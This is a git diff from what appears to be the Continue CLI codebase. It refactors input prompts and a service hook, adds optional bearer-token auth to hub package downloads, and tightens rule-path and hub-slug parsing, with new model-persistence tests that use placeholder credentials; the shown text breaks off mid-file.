+ ["1", "2", ""],
+ "1",
+ chalk.dim("Please enter 1 or 2"),
+ );
if (choice === "1" || choice === "") {
// Option 1: Open models setup page
@@ -81,15 +85,12 @@ export async function handleMaxedOutFreeTrial(
}
// Wait for user to acknowledge
- readlineSync.question(chalk.dim("\nPress Enter to exit..."));
+ await question(chalk.dim("\nPress Enter to exit..."));
await gracefulExit(0);
} else if (choice === "2") {
// Option 2: Enter Anthropic API key
- const apiKey = readlineSync.question(
+ const apiKey = await question(
chalk.white("\nEnter your Anthropic API key: "),
- {
- hideEchoBack: true,
- },
);
if (!isValidAnthropicApiKey(apiKey)) {
diff --git a/extensions/cli/src/hooks/useService.ts b/extensions/cli/src/hooks/useService.ts
index dcbbd57b8..d659652f4 100644
--- a/extensions/cli/src/hooks/useService.ts
+++ b/extensions/cli/src/hooks/useService.ts
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import { useCallback, useEffect, useState } from "react";
import { useServiceContainer } from "../services/ServiceContainerContext.js";
import { ServiceResult } from "../services/types.js";
@@ -96,47 +96,54 @@ export function useServices>(
allReady: boolean;
} {
const container = useServiceContainer();
- const [services, setServices] = useState>({});
+
+ const getServiceStates = useCallback(() => {
+ const services: Partial = {};
+ let hasLoading = false;
+ let hasError: Error | null = null;
+
+ for (const serviceName of serviceNames) {
+ const result = container.getSync(serviceName as string);
+
+ if (result.state === "loading") {
+ hasLoading = true;
+ } else if (result.state === "error") {
+ hasError = result.error;
+ } else if (result.state === "idle") {
+ // Auto-load idle services
+ container.load(serviceName as string).catch(() => {});
+ } else if (result.state === "ready" && result.value !== null) {
+ services[serviceName] = result.value as T[keyof T];
+ } else {
+ }
+ }
+
+ return {
+ hasLoading,
+ hasError,
+ services,
+ };
+ }, [serviceNames, container]);
+
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
+ const [services, setServices] = useState>(
+ getServiceStates().services,
+ );
useEffect(() => {
- const updateState = () => {
- const newServices: Partial = {};
- let hasLoading = false;
- let hasError: Error | null = null;
-
- for (const serviceName of serviceNames) {
- const result = container.getSync(serviceName as string);
-
- if (result.state === "loading") {
- hasLoading = true;
- } else if (result.state === "error") {
- hasError = result.error;
- } else if (result.state === "idle") {
- // Auto-load idle services
- container.load(serviceName as string).catch(() => {});
- } else if (result.state === "ready" && result.value !== null) {
- newServices[serviceName] = result.value as T[keyof T];
- } else {
- }
- }
-
- setServices(newServices);
- setLoading(hasLoading);
- setError(hasError);
- };
-
- // Initial state
- updateState();
-
// Set up listeners for all services
const listeners: Array<() => void> = [];
for (const serviceName of serviceNames) {
const name = serviceName as string;
- const onAnyChange = () => updateState();
+ const onAnyChange = () => {
+ const { hasLoading, hasError, services } = getServiceStates();
+ setLoading(hasLoading);
+ setError(hasError);
+ setServices(services);
+ };
container.on(`${name}:loading`, onAnyChange);
container.on(`${name}:ready`, onAnyChange);
@@ -155,7 +162,7 @@ export function useServices>(
return () => {
listeners.forEach((cleanup) => cleanup());
};
- }, [serviceNames.join(","), container]);
+ }, [serviceNames.join(","), container, getServiceStates]);
const allReady = serviceNames.every((name) =>
container.isReady(name as string),
diff --git a/extensions/cli/src/hubLoader.test.ts b/extensions/cli/src/hubLoader.test.ts
index b19d32f97..590998566 100644
--- a/extensions/cli/src/hubLoader.test.ts
+++ b/extensions/cli/src/hubLoader.test.ts
@@ -1,12 +1,22 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
-import {
+import { getAccessToken, loadAuthConfig } from "./auth/workos.js";
+import * as hubLoader from "./hubLoader.js";
+
+// Mock auth functions
+vi.mock("./auth/workos.js", () => ({
+ loadAuthConfig: vi.fn(),
+ getAccessToken: vi.fn(),
+}));
+
+const {
loadPackageFromHub,
mcpProcessor,
modelProcessor,
promptProcessor,
ruleProcessor,
-} from "./hubLoader.js";
+ processRule,
+} = hubLoader;
// Store the original fetch before any mocking
const originalFetch = global.fetch;
@@ -25,6 +35,9 @@ const mockedJSZip = vi.fn();
describe("hubLoader", () => {
beforeEach(async () => {
vi.clearAllMocks();
+ // Reset auth mocks to default state
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
});
describe("loadPackageFromHub", () => {
@@ -37,6 +50,9 @@ describe("hubLoader", () => {
});
it("should handle HTTP errors", async () => {
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
+
mockFetch.mockResolvedValueOnce({
ok: false,
status: 404,
@@ -50,7 +66,108 @@ describe("hubLoader", () => {
);
});
+ it("should make request without auth headers when not authenticated", async () => {
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
+
+ const JSZipModule = await import("jszip");
+ const JSZip = JSZipModule.default;
+
+ if (typeof (JSZip as any).mockImplementation === "function") {
+ (JSZip as any).mockImplementation(() => ({
+ loadAsync: vi.fn().mockResolvedValueOnce({
+ files: {
+ "README.md": {
+ dir: false,
+ async: vi.fn().mockResolvedValue("rule content"),
+ },
+ },
+ }),
+ }));
+ } else {
+ return;
+ }
+
+ mockFetch.mockResolvedValueOnce({
+ ok: true,
+ arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)),
+ });
+
+ await loadPackageFromHub("owner/rule", ruleProcessor);
+
+ expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), { headers: {} });
+ });
+
+ it("should include Authorization header when authenticated", async () => {
+ const mockAuthConfig = {
+ accessToken: "test-token-123",
+ userId: "user123",
+ };
+ (loadAuthConfig as any).mockReturnValue(mockAuthConfig);
+ (getAccessToken as any).mockReturnValue("test-token-123");
+
+ const JSZipModule = await import("jszip");
+ const JSZip = JSZipModule.default;
+
+ if (typeof (JSZip as any).mockImplementation === "function") {
+ (JSZip as any).mockImplementation(() => ({
+ loadAsync: vi.fn().mockResolvedValueOnce({
+ files: {
+ "README.md": {
+ dir: false,
+ async: vi.fn().mockResolvedValue("rule content"),
+ },
+ },
+ }),
+ }));
+ } else {
+ return;
+ }
+
+ mockFetch.mockResolvedValueOnce({
+ ok: true,
+ arrayBuffer: vi.fn().mockResolvedValue(new ArrayBuffer(8)),
+ });
+
+ await loadPackageFromHub("owner/rule", ruleProcessor);
+
+ expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), {
+ headers: {
+ Authorization: "Bearer test-token-123",
+ },
+ });
+ });
+
+ it("should include Authorization header for MCP requests when authenticated", async () => {
+ const mockAuthConfig = {
+ accessToken: "test-token-456",
+ userId: "user456",
+ };
+ (loadAuthConfig as any).mockReturnValue(mockAuthConfig);
+ (getAccessToken as any).mockReturnValue("test-token-456");
+
+ const mcpConfig = {
+ content: "name: test-mcp\nversion: 1.0.0",
+ };
+
+ mockFetch.mockResolvedValueOnce({
+ ok: true,
+ json: vi.fn().mockResolvedValue(mcpConfig),
+ });
+
+ await loadPackageFromHub("owner/mcp", mcpProcessor);
+
+ expect(mockFetch).toHaveBeenCalledWith(expect.any(URL), {
+ headers: {
+ Authorization: "Bearer test-token-456",
+ },
+ });
+ });
+
it("should load rule content", async () => {
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
+
const ruleContent = "# Test Rule\n\nThis is a test rule.";
// Check if JSZip is mocked
@@ -84,6 +201,9 @@ describe("hubLoader", () => {
});
it("should load MCP configuration", async () => {
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
+
const mcpConfig = {
content: "name: test-mcp\nversion: 1.0.0",
};
@@ -102,6 +222,9 @@ describe("hubLoader", () => {
});
it("should handle missing files", async () => {
+ (loadAuthConfig as any).mockReturnValue(null);
+ (getAccessToken as any).mockReturnValue(null);
+
// Check if JSZip is mocked
const JSZipModule = await import("jszip");
const JSZip = JSZipModule.default;
@@ -136,6 +259,46 @@ describe("hubLoader", () => {
});
});
+ describe("processRule", () => {
+ beforeEach(() => {
+ // Ensure mocks are set up properly for processRule tests
+ global.fetch = mockFetch;
+ });
+
+ it("should treat multi-line strings as inline rules", async () => {
+ const loadRuleSpy = vi
+ .spyOn(hubLoader, "loadRuleFromHub")
+ .mockResolvedValue("hub-content");
+
+ const multilineRule = "Line one\nEnsure /tmp is ignored\nFinal line";
+ const result = await processRule(multilineRule);
+
+ expect(result).toBe(multilineRule);
+ expect(loadRuleSpy).not.toHaveBeenCalled();
+
+ loadRuleSpy.mockRestore();
+ });
+
+ it("should still treat owner/package strings as hub slugs", async () => {
+ // Mock fetch to return a proper response for this test
+ const JSZip = (await import("jszip")).default;
+ const zip = new JSZip();
+ zip.file("rule.md", "hub-content");
+ const zipBuffer = await zip.generateAsync({ type: "arraybuffer" });
+
+ mockFetch.mockResolvedValueOnce({
+ ok: true,
+ arrayBuffer: () => Promise.resolve(zipBuffer),
+ } as Response);
+
+ const slug = "owner/package";
+ const result = await processRule(slug);
+
+ expect(result).toBe("hub-content");
+ expect(mockFetch).toHaveBeenCalled();
+ });
+ });
+
describe("processors", () => {
it("should define rule processor correctly", () => {
expect(ruleProcessor.type).toBe("rule");
diff --git a/extensions/cli/src/hubLoader.ts b/extensions/cli/src/hubLoader.ts
index 0a6e39756..412f80208 100644
--- a/extensions/cli/src/hubLoader.ts
+++ b/extensions/cli/src/hubLoader.ts
@@ -1,12 +1,23 @@
+import {
+ AgentFile,
+ ModelConfig,
+ parseAgentFile,
+} from "@continuedev/config-yaml";
import JSZip from "jszip";
+import { getAccessToken, loadAuthConfig } from "./auth/workos.js";
import { env } from "./env.js";
import { logger } from "./util/logger.js";
+/**
+ * Pattern to match valid hub slugs (owner/package format)
+ */
+export const HUB_SLUG_PATTERN = /^[A-Za-z0-9._-]+\/[A-Za-z0-9._-]+$/;
+
/**
* Hub package type definitions
*/
-export type HubPackageType = "rule" | "mcp" | "model" | "prompt";
+export type HubPackageType = "rule" | "mcp" | "model" | "prompt" | "agentFile";
/**
* Hub package processor interface
@@ -59,7 +70,7 @@ export const mcpProcessor: HubPackageProcessor = {
/**
* Model processor - handles JSON/YAML configuration files
*/
-export const modelProcessor: HubPackageProcessor = {
+export const modelProcessor: HubPackageProcessor = {
type: "model",
expectedFileExtensions: [".json", ".yaml", ".yml"],
parseContent: async (content: string, filename: string) => {
@@ -94,8 +105,19 @@ export const promptProcessor: HubPackageProcessor = {
parseContent: (content: string) => content,
};
+export const agentFileProcessor: HubPackageProcessor = {
+ type: "agentFile",
+ expectedFileExtensions: [".md"],
+ parseContent: (content: string) => parseAgentFile(content),
+ validateContent: (agentFile: AgentFile) => {
+ return !!agentFile.name;
+ },
+};
+
/**
* Generic hub package loader
+ * Automatically includes authentication headers when user is logged in,
+ * enabling access to private packages.
*/
export async function loadPackageFromHub(
slug: string,
@@ -127,7 +149,17 @@ export async function loadPackageFromHub(
}
try {
- const response = await fetch(downloadUrl);
+ // Load auth config and get access token for private package access
+ const authConfig = loadAuthConfig();
+ const accessToken = getAccessToken(authConfig);
+
+ // Prepare headers with optional authorization
+ const headers: Record = {};
+ if (accessToken) {
+ headers.Authorization = `Bearer ${accessToken}`;
+ }
+
+ const response = await fetch(downloadUrl, { headers });
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
@@ -213,35 +245,27 @@ export const loadMcpFromHub = (slug: string) =>
export const loadModelFromHub = (slug: string) =>
loadPackageFromHub(slug, modelProcessor);
-export const loadPromptFromHub = (slug: string) =>
- loadPackageFromHub(slug, promptProcessor);
-
/**
* Process a rule specification - supports file paths, hub slugs, or direct content
*/
export async function processRule(ruleSpec: string): Promise {
- // If it looks like a hub slug (contains / but doesn't start with . or /)
- if (
- ruleSpec.includes("/") &&
- !ruleSpec.startsWith(".") &&
- !ruleSpec.startsWith("/")
- ) {
- return await loadRuleFromHub(ruleSpec);
- }
+ const trimmedRuleSpec = ruleSpec.trim();
+ const hasNewline = /[\r\n]/.test(ruleSpec);
- // If it looks like a file path
- if (
- ruleSpec.startsWith(".") ||
- ruleSpec.startsWith("/") ||
- ruleSpec.includes("/") ||
- ruleSpec.includes("\\") ||
- /\.[a-zA-Z]+$/.test(ruleSpec) // Has file extension at the end
- ) {
+ // If it looks like a file path (single line, typical path indicators)
+ const looksLikePath =
+ !hasNewline &&
+ (trimmedRuleSpec.startsWith(".") ||
+ trimmedRuleSpec.startsWith("/") ||
+ trimmedRuleSpec.includes("\\") ||
+ /\.[a-zA-Z]+$/.test(trimmedRuleSpec));
+
+ if (looksLikePath) {
const fs = await import("fs");
const path = await import("path");
try {
- const absolutePath = path.resolve(ruleSpec);
+ const absolutePath = path.resolve(trimmedRuleSpec);
if (!fs.existsSync(absolutePath)) {
throw new Error(`Rule file not found: ${ruleSpec}`);
}
@@ -253,10 +277,43 @@ export async function processRule(ruleSpec: string): Promise {
}
}
+ // Check if it might be a hub slug (contains "/" and is a single line)
+ if (!hasNewline && trimmedRuleSpec.includes("/")) {
+ const parts = trimmedRuleSpec.split("/");
+
+ // If it's exactly 2 parts and matches hub slug pattern, treat as hub slug
+ if (parts.length === 2 && HUB_SLUG_PATTERN.test(trimmedRuleSpec)) {
+ return await loadRuleFromHub(trimmedRuleSpec);
+ }
+
+ // If it has more than 2 parts, it's an invalid hub slug
+ if (parts.length > 2) {
+ throw new Error(
+ `Invalid hub slug format. Expected "owner/package", got: ${trimmedRuleSpec}`,
+ );
+ }
+ }
+
// Otherwise, treat it as direct string content
return ruleSpec;
}
+export function isStringRule(rule: string) {
+ if (rule.includes(" ") || rule.includes("\n")) {
+ return true;
+ }
+ if (
+ ["file:/", ".", "/", "~"].some((prefix) => rule.startsWith(prefix)) ||
+ rule.includes("\\")
+ ) {
+ return false;
+ }
+ if (HUB_SLUG_PATTERN.test(rule)) {
+ return false;
+ }
+ return true;
+}
+
/**
* Batch load multiple packages with error handling
*/
diff --git a/extensions/cli/src/index.ts b/extensions/cli/src/index.ts
index 392acf02e..b1aa39c28 100644
--- a/extensions/cli/src/index.ts
+++ b/extensions/cli/src/index.ts
@@ -216,15 +216,18 @@ addCommonOptions(program)
}
}
- // In headless mode, ensure we have a prompt
- if (options.print && !prompt) {
+ // In headless mode, ensure we have a prompt unless using --agent flag
+ // Agent files can provide their own prompts
+ if (options.print && !prompt && !options.agent) {
safeStderr(
- "Error: A prompt is required when using the -p/--print flag.\n\n",
+ "Error: A prompt is required when using the -p/--print flag, unless --prompt or --agent is provided.\n\n",
);
safeStderr("Usage examples:\n");
safeStderr(' cn -p "please review my current git diff"\n');
safeStderr(' echo "hello" | cn -p\n');
safeStderr(' cn -p "analyze the code in src/"\n');
+ safeStderr(" cn -p --agent my-org/my-agent\n");
+ safeStderr(" cn -p --prompt my-org/my-prompt\n");
await gracefulExit(1);
}
@@ -277,6 +280,10 @@ addCommonOptions(
"--url ",
"Connect directly to the specified URL instead of creating a new remote environment",
)
+ .option(
+ "--id ",
+ "Connect to an existing remote agent by id and establish a tunnel",
+ )
.option(
"--idempotency-key ",
"Idempotency key for session management - allows resuming existing sessions",
diff --git a/extensions/cli/src/integration/model-persistence-e2e.test.ts b/extensions/cli/src/integration/model-persistence-e2e.test.ts
new file mode 100644
index 000000000..22354c989
--- /dev/null
+++ b/extensions/cli/src/integration/model-persistence-e2e.test.ts
@@ -0,0 +1,205 @@
+import * as fs from "fs";
+import * as os from "os";
+import * as path from "path";
+
+import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml";
+import { afterEach, beforeEach, describe, expect, test, vi } from "vitest";
+
+import {
+ AuthenticatedConfig,
+ getModelName,
+ loadAuthConfig,
+ saveAuthConfig,
+ updateModelName,
+} from "../auth/workos.js";
+import * as config from "../config.js";
+import { ModelService } from "../services/ModelService.js";
+import { persistModelName } from "../util/modelPersistence.js";
+
+// Mock the config module
+vi.mock("../config.js");
+
+describe("Model Persistence End-to-End", () => {
+ let testDir: string;
+ let originalContinueHome: string | undefined;
+ let mockAssistant: AssistantUnrolled;
+ let mockAuthConfig: AuthenticatedConfig;
+ const mockLlmApi = { complete: vi.fn(), stream: vi.fn() };
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+
+ // Create a temporary directory for testing
+ testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-"));
+ originalContinueHome = process.env.CONTINUE_GLOBAL_DIR;
+ process.env.CONTINUE_GLOBAL_DIR = testDir;
+
+ // Clear GlobalContext for clean test state
+ persistModelName(null);
+
+ mockAssistant = {
+ name: "test-assistant",
+ version: "1.0.0",
+ models: [
+ {
+ provider: "openai",
+ model: "gpt-4",
+ name: "GPT-4",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-5-sonnet-20241022",
+ name: "Claude 3.5 Sonnet",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-opus-20240229",
+ name: "Claude 3 Opus",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ ],
+ } as AssistantUnrolled;
+
+ mockAuthConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000, // 1 hour from now
+ organizationId: "test-org",
+ };
+
+ // Setup default mock behavior
+ vi.mocked(config.getLlmApi).mockReturnValue([
+ mockLlmApi as any,
+ mockAssistant.models![0] as ModelConfig,
+ ]);
+ vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any);
+ });
+
+ afterEach(() => {
+ // Cleanup
+ if (fs.existsSync(testDir)) {
+ fs.rmSync(testDir, { recursive: true });
+ }
+ if (originalContinueHome) {
+ process.env.CONTINUE_GLOBAL_DIR = originalContinueHome;
+ } else {
+ delete process.env.CONTINUE_GLOBAL_DIR;
+ }
+ });
+
+ test("should restore model selection after restart", async () => {
+ // Step 1: Initial session - user starts with default model (GPT-4)
+ saveAuthConfig(mockAuthConfig);
+ let service = new ModelService();
+ let state = await service.initialize(mockAssistant, mockAuthConfig);
+
+ console.log("Initial model:", state.model?.name);
+ expect(state.model?.name).toBe("GPT-4");
+
+ // Step 2: User switches to Claude 3.5 Sonnet (index 1)
+ await service.switchModel(1);
+ state = service.getState();
+
+ console.log("After switch:", state.model?.name);
+ expect(state.model?.name).toBe("Claude 3.5 Sonnet");
+
+ // Step 3: Persist the model choice (this should happen in useModelSelector)
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Verify it was saved to auth.json
+ const savedConfig = loadAuthConfig();
+ console.log("Saved model name:", getModelName(savedConfig));
+ expect(getModelName(savedConfig)).toBe("Claude 3.5 Sonnet");
+
+ // Step 4: Simulate restart - create new service instance
+ // Load fresh auth config from disk (this is what the real code does)
+ const freshAuthConfig = loadAuthConfig();
+ console.log("Fresh auth config model name:", getModelName(freshAuthConfig));
+
+ service = new ModelService();
+ state = await service.initialize(mockAssistant, freshAuthConfig);
+
+ // Step 5: Verify the persisted model is restored
+ console.log("After restart:", state.model?.name);
+ expect(state.model?.name).toBe("Claude 3.5 Sonnet");
+ expect(state.model?.provider).toBe("anthropic");
+ });
+
+ test("should handle model name mismatch gracefully", async () => {
+ // Save auth config with a model that doesn't exist
+ mockAuthConfig.modelName = "Non-existent Model";
+ saveAuthConfig(mockAuthConfig);
+
+ const service = new ModelService();
+ const state = await service.initialize(mockAssistant, mockAuthConfig);
+
+ // Should fall back to first available model (GPT-4)
+ expect(state.model?.name).toBe("GPT-4");
+ });
+
+ test("should check both name and model fields when matching", async () => {
+ // Some configs might have model field instead of name
+ const assistantWithModelField = {
+ ...mockAssistant,
+ models: [
+ {
+ provider: "openai",
+ model: "gpt-4",
+ // No name field, just model
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-5-sonnet-20241022",
+ // No name field, just model
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ ],
+ } as AssistantUnrolled;
+
+ mockAuthConfig.modelName = "claude-3-5-sonnet-20241022";
+ saveAuthConfig(mockAuthConfig);
+
+ const service = new ModelService();
+ const state = await service.initialize(
+ assistantWithModelField,
+ mockAuthConfig,
+ );
+
+ // Should match by model field
+ expect(state.model?.model).toBe("claude-3-5-sonnet-20241022");
+ });
+
+ test("should persist model through multiple switches", async () => {
+ saveAuthConfig(mockAuthConfig);
+ const service = new ModelService();
+ await service.initialize(mockAssistant, mockAuthConfig);
+
+ // Switch to Claude 3.5 Sonnet
+ await service.switchModel(1);
+ updateModelName("Claude 3.5 Sonnet");
+ expect(getModelName(loadAuthConfig())).toBe("Claude 3.5 Sonnet");
+
+ // Switch to Claude 3 Opus
+ await service.switchModel(2);
+ updateModelName("Claude 3 Opus");
+ expect(getModelName(loadAuthConfig())).toBe("Claude 3 Opus");
+
+ // Restart and verify last selection
+ const freshAuthConfig = loadAuthConfig();
+ console.log("Fresh auth config model name:", getModelName(freshAuthConfig));
+
+ const newService = new ModelService();
+ const state = await newService.initialize(mockAssistant, freshAuthConfig);
+ expect(state.model?.name).toBe("Claude 3 Opus");
+ });
+});
diff --git a/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts b/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts
new file mode 100644
index 000000000..db4b30ee4
--- /dev/null
+++ b/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts
@@ -0,0 +1,245 @@
+import * as fs from "fs";
+import * as os from "os";
+import * as path from "path";
+
+import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml";
+import { afterEach, beforeEach, describe, expect, test, vi } from "vitest";
+
+import {
+ getModelName,
+ loadAuthConfig,
+ updateModelName,
+} from "../auth/workos.js";
+import * as config from "../config.js";
+import { ModelService } from "../services/ModelService.js";
+import {
+ getPersistedModelName,
+ persistModelName,
+} from "../util/modelPersistence.js";
+
+// Mock the config module
+vi.mock("../config.js");
+
+describe("Model Persistence for Unauthenticated Users", () => {
+ let testDir: string;
+ let originalContinueHome: string | undefined;
+ let mockAssistant: AssistantUnrolled;
+ const mockLlmApi = { complete: vi.fn(), stream: vi.fn() };
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+
+ // Create a temporary directory for testing
+ testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-"));
+ originalContinueHome = process.env.CONTINUE_GLOBAL_DIR;
+ process.env.CONTINUE_GLOBAL_DIR = testDir;
+
+ // Clear GlobalContext for clean test state
+ persistModelName(null);
+
+ mockAssistant = {
+ name: "test-assistant",
+ version: "1.0.0",
+ models: [
+ {
+ provider: "openai",
+ model: "gpt-4",
+ name: "GPT-4",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-5-sonnet-20241022",
+ name: "Claude 3.5 Sonnet",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-opus-20240229",
+ name: "Claude 3 Opus",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ ],
+ } as AssistantUnrolled;
+
+ // Setup default mock behavior
+ vi.mocked(config.getLlmApi).mockReturnValue([
+ mockLlmApi as any,
+ mockAssistant.models![0] as ModelConfig,
+ ]);
+ vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any);
+ });
+
+ afterEach(() => {
+ // Cleanup
+ if (fs.existsSync(testDir)) {
+ fs.rmSync(testDir, { recursive: true });
+ }
+ if (originalContinueHome) {
+ process.env.CONTINUE_GLOBAL_DIR = originalContinueHome;
+ } else {
+ delete process.env.CONTINUE_GLOBAL_DIR;
+ }
+ });
+
+ test("should persist model selection for logged-out users", () => {
+ // User is logged out (no auth config)
+ const authConfig = loadAuthConfig();
+ expect(authConfig).toBeNull();
+
+ // User switches model
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Verify it was saved to GlobalContext
+ const persistedModel = getPersistedModelName();
+ expect(persistedModel).toBe("Claude 3.5 Sonnet");
+
+ // Verify getModelName returns it for null config
+ expect(getModelName(null)).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should restore model selection on next session for logged-out users", async () => {
+ // Session 1: User is logged out and switches model
+ const authConfig = loadAuthConfig();
+ expect(authConfig).toBeNull();
+
+ const modelService = new ModelService();
+ await modelService.initialize(mockAssistant, authConfig);
+
+ await modelService.switchModel(1);
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Session 2: User reopens CLI (still logged out)
+ const newAuthConfig = loadAuthConfig();
+ expect(newAuthConfig).toBeNull();
+
+ const newModelService = new ModelService();
+ const state = await newModelService.initialize(
+ mockAssistant,
+ newAuthConfig,
+ );
+
+ // Should restore Claude 3.5 Sonnet
+ expect(state.model?.name).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should handle multiple model switches for logged-out users", () => {
+ updateModelName("GPT-4");
+ expect(getModelName(null)).toBe("GPT-4");
+
+ updateModelName("Claude 3.5 Sonnet");
+ expect(getModelName(null)).toBe("Claude 3.5 Sonnet");
+
+ updateModelName("Claude 3 Opus");
+ expect(getModelName(null)).toBe("Claude 3 Opus");
+ });
+
+ test("should clear model selection when set to null", () => {
+ updateModelName("Claude 3.5 Sonnet");
+ expect(getModelName(null)).toBe("Claude 3.5 Sonnet");
+
+ updateModelName(null);
+ expect(getModelName(null)).toBeNull();
+ });
+
+ test("should preserve GlobalContext model when user logs in", () => {
+ // User is logged out with a persisted model
+ updateModelName("Claude 3.5 Sonnet");
+ expect(getPersistedModelName()).toBe("Claude 3.5 Sonnet");
+
+ // User logs in (simulated by having auth.json)
+ const authPath = path.join(testDir, "auth.json");
+ fs.writeFileSync(
+ authPath,
+ JSON.stringify({
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ }),
+ );
+
+ const authConfig = loadAuthConfig();
+ expect(authConfig).not.toBeNull();
+
+ // GlobalContext model should still exist
+ expect(getPersistedModelName()).toBe("Claude 3.5 Sonnet");
+
+ // When auth config has no modelName, it should fall back to GlobalContext
+ expect(getModelName(authConfig)).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should use auth config model when both exist", () => {
+ // Clear previous state
+ updateModelName(null);
+
+ // Set GlobalContext model
+ updateModelName("GPT-4");
+ expect(getPersistedModelName()).toBe("GPT-4");
+
+ // Create auth config with different model
+ const authPath = path.join(testDir, "auth.json");
+ fs.writeFileSync(
+ authPath,
+ JSON.stringify({
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ modelName: "Claude 3.5 Sonnet",
+ }),
+ );
+
+ const authConfig = loadAuthConfig();
+
+ // Auth config should take precedence
+ expect(getModelName(authConfig)).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should not save to GlobalContext when using CONTINUE_API_KEY", () => {
+ // Clear any existing model
+ updateModelName(null);
+ expect(getPersistedModelName()).toBeNull();
+
+ // Capture original value to restore after test
+ const originalApiKey = process.env.CONTINUE_API_KEY;
+ process.env.CONTINUE_API_KEY = "test-api-key";
+
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Should not be saved to GlobalContext
+ expect(getPersistedModelName()).toBeNull();
+
+ // Restore original value
+ if (originalApiKey === undefined) {
+ delete process.env.CONTINUE_API_KEY;
+ } else {
+ process.env.CONTINUE_API_KEY = originalApiKey;
+ }
+ });
+
+ test("should work across config changes for logged-out users", async () => {
+ // User switches model with one config
+ updateModelName("Claude 3.5 Sonnet");
+
+ const modelService = new ModelService();
+ let state = await modelService.initialize(mockAssistant, null);
+ expect(state.model?.name).toBe("Claude 3.5 Sonnet");
+
+ // User switches to a different model
+ await modelService.switchModel(2);
+ updateModelName("Claude 3 Opus");
+
+ // Create new service (simulating restart)
+ const newModelService = new ModelService();
+ state = await newModelService.initialize(mockAssistant, null);
+ expect(state.model?.name).toBe("Claude 3 Opus");
+ });
+});
diff --git a/extensions/cli/src/integration/model-persistence-user-flow.test.ts b/extensions/cli/src/integration/model-persistence-user-flow.test.ts
new file mode 100644
index 000000000..3aef05071
--- /dev/null
+++ b/extensions/cli/src/integration/model-persistence-user-flow.test.ts
@@ -0,0 +1,155 @@
+import * as fs from "fs";
+import * as os from "os";
+import * as path from "path";
+
+import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml";
+import { afterEach, beforeEach, describe, expect, test, vi } from "vitest";
+
+import { AuthService } from "src/services/AuthService.js";
+
+import {
+ AuthenticatedConfig,
+ getModelName,
+ loadAuthConfig,
+ saveAuthConfig,
+} from "../auth/workos.js";
+import * as config from "../config.js";
+import { ModelService } from "../services/ModelService.js";
+
+// Mock the config module
+vi.mock("../config.js");
+
+describe("Model Persistence User Flow", () => {
+ let testDir: string;
+ let originalContinueHome: string | undefined;
+ let mockAssistant: AssistantUnrolled;
+ let mockAuthConfig: AuthenticatedConfig;
+ const mockLlmApi = { complete: vi.fn(), stream: vi.fn() };
+
+ beforeEach(async () => {
+ vi.clearAllMocks();
+
+ // Create a temporary directory for testing
+ testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-"));
+ originalContinueHome = process.env.CONTINUE_GLOBAL_DIR;
+ process.env.CONTINUE_GLOBAL_DIR = testDir;
+
+ mockAssistant = {
+ name: "test-assistant",
+ version: "1.0.0",
+ models: [
+ {
+ provider: "openai",
+ model: "gpt-4",
+ name: "GPT-4",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
+ model: "claude-3-5-sonnet-20241022",
+ name: "Claude 3.5 Sonnet",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ {
+ provider: "anthropic",
